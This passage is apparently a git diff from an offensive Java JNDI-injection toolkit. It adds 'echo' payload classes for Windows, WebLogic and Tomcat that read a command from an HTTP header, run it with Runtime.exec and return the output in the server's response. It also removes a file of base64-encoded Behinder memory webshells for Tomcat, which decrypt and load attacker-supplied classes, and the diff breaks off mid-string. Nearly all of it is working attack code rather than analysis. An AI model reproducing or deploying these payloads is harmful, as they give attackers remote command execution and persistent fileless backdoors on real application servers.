t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + Object req = f.get(processor); + Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); + str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); + if (str != null && !str.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200)); + java.io.ByteArrayOutputStream baos = q(str); + try { + Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); + obj = cls.newInstance(); + cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } catch (NoSuchMethodException var5) { + Class cls = Class.forName("java.nio.ByteBuffer", false, loader); + obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()}); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } + flag = true; + } + if (flag) break; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.java new file mode 100644 index 0000000..2699872 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.java @@ -0,0 +1,59 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CWindowsEcho { + + public CWindowsEcho() { + try { + if (java.io.File.separator.equals("\\")) { + java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd"); + field.setAccessible(true); + + Class clazz1 = Class.forName("sun.nio.ch.Net"); + java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class}); + method1.setAccessible(true); + + Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); + java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; + constructor2.setAccessible(true); + + Class clazz3 = Class.forName("java.net.PlainSocketImpl"); + java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); + constructor3.setAccessible(true); + + java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class}); + write.setAccessible(true); + + java.net.InetSocketAddress remoteAddress = null; + java.util.List list = new java.util.ArrayList(); + java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); + for (int i = 0; i < 50000; i++) { + field.set((Object) fileDescriptor, (Object) (new Integer(i))); + try { + remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor}); + if (remoteAddress.toString().startsWith("/127.0.0.1")) continue; + if (remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue; + list.add(new Integer(i)); + + } catch (Exception e) { + } + } + + for (int i = list.size() - 1; i >= 0; i--) { + try { + field.set((Object) fileDescriptor, list.get(i)); + Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); + String[] cmd = new String[]{"cmd", "/C", "whoami"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; + write.invoke(socketOutputStream, new Object[]{result.getBytes()}); + break; + } catch (Exception e) { + //pass + } + } + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.java new file mode 100644 index 0000000..add3166 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CweblogicEcho { + + public static String CMD_HEADER; + + public CweblogicEcho() { + try { + weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork(); + if (adapter.getClass().getName().endsWith("ServletRequestImpl")) { + String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } else { + java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); + field.setAccessible(true); + Object obj = field.get(adapter); + obj = obj.getClass().getMethod("getServletRequest").invoke(obj); + String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/AllEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/AllEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/AllEcho.java index 7756d9b..d4ec8ec 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/AllEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class AllEcho { public static String CMD_HEADER = "cmd"; diff --git a/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/JbossEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/JbossEcho.java index 448347d..4b6e486 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/JbossEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class JbossEcho { diff --git a/src/main/java/com/qi4l/jndi/template/echo/JettyEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/JettyEcho.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/echo/JettyEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/JettyEcho.java index 20c42ab..7b172b3 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/JettyEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/JettyEcho.java @@ -1,10 +1,10 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; import java.io.ByteArrayOutputStream; public class JettyEcho { - public static String CMD_HEADER = "cmd"; + public static String CMD_HEADER; static { try { diff --git a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java b/src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho1.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho1.java index c1ad703..95268b8 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho1.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class LinuxEcho1 { diff --git a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java b/src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho2.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho2.java index e19c52d..dab96d2 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho2.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class LinuxEcho2 { diff --git a/src/main/java/com/qi4l/jndi/template/echo/Meterpreter.java b/src/main/java/com/qi4l/jndi/template/echoStatic/Meterpreter.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/echo/Meterpreter.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/Meterpreter.java index 48905c1..9bde9e8 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/Meterpreter.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/Meterpreter.java @@ -1,7 +1,7 @@ /* * Decompiled with CFR 0.152. */ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; import java.io.DataInputStream; import java.io.InputStream; diff --git a/src/main/java/com/qi4l/jndi/template/echo/ResinEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/ResinEcho.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/echo/ResinEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/ResinEcho.java index 29b7bba..cf81162 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/ResinEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/ResinEcho.java @@ -1,8 +1,8 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class ResinEcho { - public static String CMD_HEADER = "cmd"; + public static String CMD_HEADER; static { try { diff --git a/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/SpringEcho.java similarity index 61% rename from src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/SpringEcho.java index da057aa..6d9c74c 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/SpringEcho.java @@ -1,16 +1,10 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; -import com.sun.org.apache.xalan.internal.xsltc.DOM; -import com.sun.org.apache.xalan.internal.xsltc.TransletException; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; -import com.sun.org.apache.xml.internal.serializer.SerializationHandler; - -public class SpringEcho extends AbstractTranslet { +public class SpringEcho { public static String CMD_HEADER; - public SpringEcho() { + static { try { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); @@ -31,13 +25,4 @@ public class SpringEcho extends AbstractTranslet { return null; } - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - - } - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - - } } diff --git a/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/TomcatEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/TomcatEcho.java index f4c6912..89eb68c 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/TomcatEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class TomcatEcho { diff --git a/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/WindowsEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/WindowsEcho.java index 7bd7114..679fb17 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/WindowsEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class WindowsEcho { diff --git a/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/weblogicEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/weblogicEcho.java index 0a64321..05905fe 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/weblogicEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class weblogicEcho { diff --git a/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java b/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java deleted file mode 100644 index f3ea8f8..0000000 --- a/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java +++ /dev/null @@ -1,129 +0,0 @@ -package com.qi4l.jndi.template.memshell.shell; - -public class MemShellPayloads { - - public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCglPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsNCglPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcG9uc2U7DQoJdHJ5IHsNCgkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQlpZiAoIShsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpKSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlcXVlc3QgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXF1ZXN0V3JhcHBlci5jbGFzcy5nZXRNZXRob2QoImdldFJlcXVlc3QiLG51bGwpOw0KCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UocmVxdWVzdCxudWxsKTsNCgkJCQl3aGlsZSAodHJ1ZSkgew0KCQkJCQlpZiAobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSBicmVhazsNCgkJCQkJbGFzdFJlcXVlc3QgPSBnZXRSZXF1ZXN0Lmludm9rZShsYXN0UmVxdWVzdCxudWxsKTsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoIShsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkpIHsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVzcG9uc2UgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZVdyYXBwZXIuY2xhc3MuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIsbnVsbCk7DQoJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKHJlc3BvbnNlLG51bGwpOw0KCQkJCXdoaWxlICh0cnVlKSB7DQoJCQkJCWlmIChsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkgYnJlYWs7DQoJCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShsYXN0UmVzcG9uc2UsbnVsbCk7DQoJCQkJfQ0KCQkJfQ0KCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpIHsNCgkJCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsNCgkJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24gc2Vzc2lvbiAgICAgPSAoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGxhc3RSZXF1ZXN0KS5nZXRTZXNzaW9uKCk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJyZXF1ZXN0IiwgbGFzdFJlcXVlc3QpOw0KCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCBsYXN0UmVzcG9uc2UpOw0KCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOw0KCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKTsNCgkJCQlpZiAocGF5bG9hZCA9PSBudWxsIHx8IChwYXlsb2FkLmxlbmd0aCgpID09IDApKSB7DQoJCQkJCXBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoKTsNCgkJCQkJb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdCByZWFsUmVxdWVzdCA9IChvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0KSBnZXRGaWVsZFZhbHVlKGxhc3RSZXF1ZXN0LCJyZXF1ZXN0Iik7DQoJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3QgY295b3RlUmVxdWVzdCA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0KSBnZXRGaWVsZFZhbHVlKHJlYWxSZXF1ZXN0LCJjb3lvdGVSZXF1ZXN0Iik7DQoJCQkJCW9yZy5hcGFjaGUudG9tY2F0LnV0aWwuaHR0cC5QYXJhbWV0ZXJzICAgIHBhcmFtZXRlcnMgPSBjb3lvdGVSZXF1ZXN0LmdldFBhcmFtZXRlcnMoKTsNCgkJCQkJamF2YS51dGlsLkxpbmtlZEhhc2hNYXAgcGFyYW1NYXAgICA9IChqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCkgZ2V0RmllbGRWYWx1ZShwYXJhbWV0ZXJzLCJwYXJhbUhhc2hWYWx1ZXMiKTsNCgkJCQkJamF2YS51dGlsLkl0ZXJhdG9yIGl0ZXJhdG9yID0gcGFyYW1NYXAuZW50cnlTZXQoKS5pdGVyYXRvcigpOw0KCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7DQoJCQkJCQlqYXZhLnV0aWwuTWFwLkVudHJ5IG5leHQgICAgICAgICAgID0gaXRlcmF0b3IubmV4dCgpOw0KCQkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOw0KCQkJCQkJamF2YS51dGlsLkFycmF5TGlzdCAgICAgICAgICAgICAgICAgICAgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCluZXh0LmdldFZhbHVlKCk7DQoJCQkJCQlpZiAocGFyYW1WYWx1ZUxpc3Quc2l6ZSgpID09IDApIHsNCgkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCXBheWxvYWQuYXBwZW5kKHBhcmFtS2V5KS5hcHBlbmQoIj0iKS5hcHBlbmQocGFyYW1WYWx1ZUxpc3QuZ2V0KDApKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlub0xvZyhsYXN0UmVxdWVzdCk7DQoJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7DQoJCQkJc2Vzc2lvbi5wdXRWYWx1ZSgidSIsIGspOw0KCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOw0KCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7DQoJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsNCgkJCQlDbGFzcyBldmlsY2xhc3MgPXVuc2FmZS5kZWZpbmVBbm9ueW1vdXNDbGFzcyhPYmplY3QuY2xhc3MsIGV2aWxjbGFzc19ieXRlLCBudWxsKTsNCgkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgl9DQp9"; - - public static String BEHINDER_SHELL_FOR_TOMCAT = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsNCgkJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3BvbnNlOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJaWYgKCEobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSkgew0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVxdWVzdCA9IGphdmF4LnNlcnZsZXQuU2VydmxldFJlcXVlc3RXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVxdWVzdCIsbnVsbCk7DQoJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UocmVxdWVzdCxudWxsKTsNCgkJCQkJd2hpbGUgKHRydWUpIHsNCgkJCQkJCWlmIChsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlcXVlc3QgPSBnZXRSZXF1ZXN0Lmludm9rZShsYXN0UmVxdWVzdCxudWxsKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZiAoIShsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkpIHsNCgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlc3BvbnNlID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiLG51bGwpOw0KCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRSZXNwb25zZS5pbnZva2UocmVzcG9uc2UsbnVsbCk7DQoJCQkJCXdoaWxlICh0cnVlKSB7DQoJCQkJCQlpZiAobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKGxhc3RSZXNwb25zZSxudWxsKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgew0KCQkJCWphdmEudXRpbC5IYXNoTWFwICAgICBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOw0KCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uICAgICA9ICgob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdEZhY2FkZSkgbGFzdFJlcXVlc3QpLmdldFNlc3Npb24oKTsNCgkJCQlwYWdlQ29udGV4dC5wdXQoInJlcXVlc3QiLCBsYXN0UmVxdWVzdCk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7DQoJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOw0KCQkJCWlmIChwYXlsb2FkID09IG51bGwgfHwgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkpIHsNCgkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOw0KDQoJCQkJCW9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3QgcmVhbFJlcXVlc3QgPSAob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShsYXN0UmVxdWVzdCwicmVxdWVzdCIpOw0KCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IGNveW90ZVJlcXVlc3QgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShyZWFsUmVxdWVzdCwiY295b3RlUmVxdWVzdCIpOw0KCQkJCQlvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmh0dHAuUGFyYW1ldGVycyAgICBwYXJhbWV0ZXJzID0gY295b3RlUmVxdWVzdC5nZXRQYXJhbWV0ZXJzKCk7DQoJCQkJCWphdmEudXRpbC5MaW5rZWRIYXNoTWFwIHBhcmFtTWFwICAgPSAoamF2YS51dGlsLkxpbmtlZEhhc2hNYXApIGdldEZpZWxkVmFsdWUocGFyYW1ldGVycywicGFyYW1IYXNoVmFsdWVzIik7DQoJCQkJCWphdmEudXRpbC5JdGVyYXRvciBpdGVyYXRvciA9IHBhcmFtTWFwLmVudHJ5U2V0KCkuaXRlcmF0b3IoKTsNCgkJCQkJd2hpbGUgKGl0ZXJhdG9yLmhhc05leHQoKSkgew0KCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsNCgkJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXJhbUtleSAgICAgICA9IG5leHQuZ2V0S2V5KCkudG9TdHJpbmcoKS5yZXBsYWNlQWxsKCIgIiwgIisiKTsNCgkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgICAgICAgICAgICAgICAgICAgIHBhcmFtVmFsdWVMaXN0